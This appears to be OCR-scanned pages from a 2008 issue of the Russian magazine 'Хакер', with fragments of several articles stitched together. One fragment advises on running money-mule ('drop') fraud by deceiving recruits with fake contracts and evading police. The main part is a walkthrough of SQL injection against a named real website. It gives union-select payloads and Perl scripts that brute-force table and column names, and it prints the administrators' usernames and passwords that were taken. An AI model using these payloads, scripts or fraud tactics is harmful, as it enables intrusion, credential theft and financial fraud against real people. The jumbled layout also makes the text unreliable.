книги хакеры / журнал хакер / 112_Optimized

Панелька управления дропами

Один из крупнейших job-ресурсов

Всю переписку от лица менеджера компании дроповоду следует вести с другого мыльника (manager@blabla.com). Если хакеру поверят и все пройдет гладко, то уже в ближайшее время он высылает контракт (который также готовится заранее). Содержимое контракта приводить не буду, ибо оно индивидуально и напрямую зависит от легенды. Все делается аккуратно и без грамматических ошибок, так как американцы — народ пугливый.

Особенности менталитета или основные риски

Ну вот, дела наладилась — дроп-проект окупился и приносит доход, а дропы послушно выполняют все прихоти. Какие проблемы могут ожидать хакера в ближайшем будущем? Во-первых, каждого дропа рано или поздно примут, причем, не в кружок радиолюбителей, а в места не столь отдаленные. В США подобными вопросами занимается ФБР, а в Европе, как правило, Интерпол. Шутить сотрудники этих ведомств не любят, поэтому неприятности у дропа возникнут серьезные. Здесь большую роль играет наличие «контракта», так как именно он будет свидетельствовать о факте обмана дропа и отсутствии у него «корыстного умысла» с юридической точки зрения. Известны случаи, когда после задержания дропы активно сотрудничали с органами с целью поиска дроповода. Поэтому ушлые дроповоды наблюдают за поведением своих «подопечных», анализируют переписку и сроки выполнения поручений. Это оберегает их от многих проблем.

Еще один тип рисков — кидок со стороны дропа. К сожалению, каким хорошим и раскрученным не был бы дроп-проект — кидалы среди дропов всегда найдутся. Подстраховаться от подобных работников сложно, поэтому опять же рекомендуется наблюдать и анализировать: неразумно посылать большие суммы за один раз на одного человека (как и партии карженного стафа).

Вобщем,еслирассказодроповодстветебяувлек—пробуйитвори.Азаод- но суши сухари и учи феню — в будущем, возможно, пригодится. z

xàêåð 04 /112/ 08

Евгений «Corwin» Ермаков

/ corwin.freeweb7.com /

MSysObjects

MSysQueries MSysRelationships nav_left

News Publications Relationships Reports Scripts Sections Sections Query sections2 Query Special Query SummaryInfo SysRel

Tables UserDefined Users

Таблицы и поля

Обратившись к таблице Admin, я был удивлен тем, что получил сообщение: не

найдена. Смирившись, я обратился к таблице Users:

http://compostingcouncil.org/section. cfm?id=-1 union select 1,2,3,4,5,6,7,8,9,10,1 1,12,13 from Users

Теперь все прошло нормально. Оставалось лишь подобрать названия колонок. Достаточно быстро было подобрано название колонки с id пользователей

— userid. Перебирая всевозможные комбинации слов, которые могли составлять название колонки с логинами юзеров, я понял, что логичнее будет посмотреть название переменной, которая передавалась через форму входа в админку. Благо эта самая форма располагалась по стандартному адресу http:// compostingcouncil.org/admin.

Попытки войти в админку, внедряя запросы к базе, оказались бесполезны. Я испробовал следующие комбинации:

login: " OR 1=1%00 pass:

login: ' OR 1=1%00 pass:

NULL-байт(%00) здесь выступает в качестве комментария. Поэтому я отбросил эту затею и просмотрел исходник страницы. На что получил следующий кусок кода:

<form action="index.cfm" method="POST"> <tr><td><b>User name:</b></td><td> <input type="Text" name="loginname" size="10"></td></tr> <tr><td><b>Password:</b></td><td><input

type="password" name="password" size="10"> </td></tr>

<tr><td colspan="2" align="center"> <input type="Submit" value="Submit"></td>

</tr>

</form>

Видно, что название поля ввода, вероятно, имеет значение loginname. Проверяем.

http://compostingcouncil.org/section. cfm?id=-1 union select 1,2,3,4,5,6, loginname,8,9,10,11,12,13 from Users

Действительно! На выходе получаем логины юзеров:

noonan black office

Остается подобрать название поля с паролями. Попробовал первое, что пришло в голову: «password». Не подошло. После продолжительного ручного брута было принято решение заюзать скрипт для перебора, который будет подставлять название колонки из файла-словаря и парсить ответ сервера. Если в нем присутствует заранее заданная строка, то название подобрано верно. Вот, собственно, сам скрипт:

Брутфорс названий столбцов

#!usr/bin/perl

use LWP::UserAgent;

sub brute($column,$priznak)

{

$url="http://compostingcouncil.org/section. cfm?id=-1+union+select+1,2,3,4,5,6,".$column

.",8,9,10,11,12,13+from+Users"; $client = LWP::UserAgent->new( ) or die; $answer = $client->get($url);

if (index($answer->content,$priznak)>-1){ print $column;

}

video

На DVD ты найдешь познавательный видеоролик, демонстрирующий

описанные в статье действия пентестера.

info

Внимание! Информация представлена исключительно с целью ознакомления!

Ни автор, ни редакция за твои действия ответственности не несут!

dvd

Ищи на диске простые perl-скрип- ты, рассмотренные в статье, nfm веб-шелл, а также полезные сценарии, написанные на

ColdFusion Markup.

}

$priznak="<title>6 — US Composting Council</title>";

#Этот код будет присутствовать в ответе сервера, если

#запрос успешно выполнится. open(COLUMNS,"C:/Documents and Settings/Evgen/Рабочий стол/testsql.txt") || die "Con not open file with columns names!"; #Путь к файлу с названиями таблиц/колонок. print "...\n";while (defined($column=<COLUMNS>)) { &brute($column,$priznak);

}

close(COLUMNS);

Так было подобрано название столбца с паролями — loginpassword. Оставалось сделать финальные запросы:

http://compostingcouncil.org/section.cfm?id=-1 union select 1,2,3,4,5,6,loginname,8,loginpassword,10,11,12, 13 from Users where userid=1

http://compostingcouncil.org/section.cfm?id=-1 union select 1,2,3,4,5,6,loginname,8,loginpassword,10,11,12, 13 from Users where userid=2

http://compostingcouncil.org/section.cfm?id=-1 union select 1,2,3,4,5,6,loginname,8,loginpassword,10,11,12, 13 from Users where userid=3

И получить заветные акаунты:

login:password

--------------

noonan:testing

black:mega

office:giga

--------------

На этот раз название таблицы получилось подобрать самому, но если это не удастся, то можно заюзать следующий скрипт, работающий по тому же алгоритму, что и брутер колонок:

Брутфорсназванийтаблиц

#!usr/bin/perl

use LWP::UserAgent;

$priznak="<title>6 — US Composting Council</title>"; sub brute($table,$priznak) #Функция перебора

{

$url="http://compostingcouncil.org/section.cfm?id=- 1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13+from+".$ table."/*";

$client = LWP::UserAgent->new( ) or die;

$answer = $client->get($url); # Отправляем запрос

# Если указанный текс в ответе присутствует, то выводим имя текущей таблицы.

if (index($answer->content,$priznak)>-1){ print $table;

}

}

open(TABLES,"C:/Documents and Settings/Evgen/Рабочий стол/testsql.txt") || die "Con not open file with tables names!";

print "...\n";

links

Поскольку эта статья не является подробным пособием по внедрению sql-запросов в MS Access, я настоя-

тельно рекомендую прочесть следующие мануалы: webapptest.org/ms- access-sql-injection- cheat-sheet-EN.html seclists.org/pentest/2003/May/0074. html

Lexx918

/ lexx918@mail.ru /

video

На DVD ты найдешь увлекательный видеоурок, повторяющий шаги по хищению почтовых плюшек.

info

•На данный момент баг в Mail.RU уже не работает. Надо отдать должное под-

держке — исправили за пару часов.

•О теории XSS

наш журнал пишет регулярно. Посему перерывай подшивку и будь в теме по этой уязвимости.

• Внимание! Информация представлена исключительно с цельюознакомления! Ни автор, ни редакция за твои действия ответственности не несет!

Master-lame-master